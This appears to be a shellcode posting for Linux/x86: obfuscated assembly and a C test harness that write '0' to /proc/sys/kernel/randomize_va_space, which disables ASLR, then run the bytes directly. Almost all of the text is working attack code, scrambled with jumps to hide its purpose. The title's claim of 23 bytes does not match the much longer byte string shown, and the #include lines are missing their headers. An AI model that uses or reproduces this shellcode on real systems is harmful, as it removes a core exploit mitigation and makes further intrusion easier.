;Title : Linux/x86 - Disable ASLR Security obfuscated shellcode - 23 bytes ;Date : 24 Jan 2018 ;Author : 0xAlaufi ;Tested on : Linux/x86 (Ubuntu 12.04.5) global _start section .text _start: jmp zero2 zero18: mov al,0x4 jmp zero19 zero1a: mov al,0x6 jmp zero1b zeroc: push 0x72702f2f jmp zerod zero12: push eax jmp zero13 zero1b: int 0x80 jmp zero1c zero1c: inc eax jmp zero1d zerod: mov ebx,esp jmp zeroe zero16: xor edx,edx jmp zero17 zero5: push 0x735f6176 jmp zero6 zero19: int 0x80 jmp zero1a zero7: push 0x6d6f646e jmp zero8 zeroa: push 0x6b2f7379 jmp zerob zero13: mov dx,0x3a30 jmp zero14 zero10: int 0x80 jmp zero11 zerob: push 0x732f636f jmp zeroc zero14: push dx jmp zero15 zero4: push 0x65636170 jmp zero5 zero8: push 0x61722f6c jmp zero9 zero9: push 0x656e7265 jmp zeroa zero15: mov ecx,esp jmp zero16 zero11: mov ebx,eax jmp zero12 zero6: push 0x5f657a69 jmp zero7 zero2: xor eax,eax jmp zero3 zero3: push eax jmp zero4 zerof: mov al,0x8 jmp zero10 zeroe: mov cx,0x2bc jmp zerof zero17: inc edx jmp zero18 zero1d: int 0x80 jmp zero1e zero1e: #include #include unsigned char code[] = \ "\xeb\x73\xb0\x04\xeb\x24\xb0\x06\xeb\x0a\x68\x2f\x2f\x70\x72\xeb\x0a\x50\xeb\x28\xcd\x80\xeb\x00\x40\xeb\x71\x89\xe3\xeb\x61\x31\xd2\xeb\x63\x68\x76\x61\x5f\x73\xeb\x44\xcd\x80\xeb\xd8\x68\x6e\x64\x6f\x6d\xeb\x23\x68\x79\x73\x2f\x6b\xeb\x0a\x66\xba\x30\x3a\xeb\x0b\xcd\x80\xeb\x24\x68\x6f\x63\x2f\x73\xeb\xbd\x66\x52\xeb\x15\x68\x70\x61\x63\x65\xeb\xcb\x68\x6c\x2f\x72\x61\xeb\x00\x68\x65\x72\x6e\x65\xeb\xcf\x89\xe1\xeb\xb5\x89\xc3\xeb\xa3\x68\x69\x7a\x65\x5f\xeb\xb9\x31\xc0\xeb\x00\x50\xeb\xd5\xb0\x08\xeb\xc2\x66\xb9\xbc\x02\xeb\xf6\x42\xe9\x76\xff\xff\xff\xcd\x80\xeb\x00"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }